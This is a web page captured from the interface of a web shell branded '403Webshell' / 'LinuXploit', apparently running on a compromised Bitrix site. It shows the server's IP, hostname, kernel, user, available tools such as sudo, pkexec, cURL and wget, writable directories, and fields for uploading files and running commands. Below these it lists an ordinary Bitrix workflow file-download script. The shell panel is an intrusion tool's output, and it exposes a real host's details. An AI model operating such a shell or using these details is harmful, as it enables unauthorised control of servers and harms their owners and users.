403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/workflow/admin/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/workflow/admin/workflow_get_file.php
<?php
define('STOP_STATISTICS', 'Y');
require_once $_SERVER['DOCUMENT_ROOT'] . '/bitrix/modules/main/include/prolog_before.php';
require_once $_SERVER['DOCUMENT_ROOT'] . '/bitrix/modules/workflow/prolog.php';
require_once $_SERVER['DOCUMENT_ROOT'] . '/bitrix/modules/workflow/include.php';
/** @var CMain $APPLICATION */

/* @var $request \Bitrix\Main\HttpRequest */
$request = \Bitrix\Main\Context::getCurrent()->getRequest();

if ($APPLICATION->GetGroupRight('workflow') >= 'R')
{
	session_write_close();
	$did = $request['did'];
	$fname = $request['fname'];
	$wf_path = $request['wf_path'];
	$site = $request['site'];
	$src = CWorkflow::GetFileContent($did, $fname, $wf_path, $site);
	$ext = mb_strtolower(GetFileExtension($fname));
	$arrExt = explode(',', mb_strtolower(CFile::GetImageExtensions()));
	if (in_array($ext, $arrExt))
	{
		if ($ext == 'jpg')
		{
			$ext = 'jpeg';
		}
		header('Content-type: image/' . $ext);
		header('Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0');
		header('Expires: 0');
		header('Pragma: public');
		echo $src;
		die;
	}
	echo TxtToHTML($src);
}
die;

Youez - 2016 - github.com/yon3zu
LinuXploit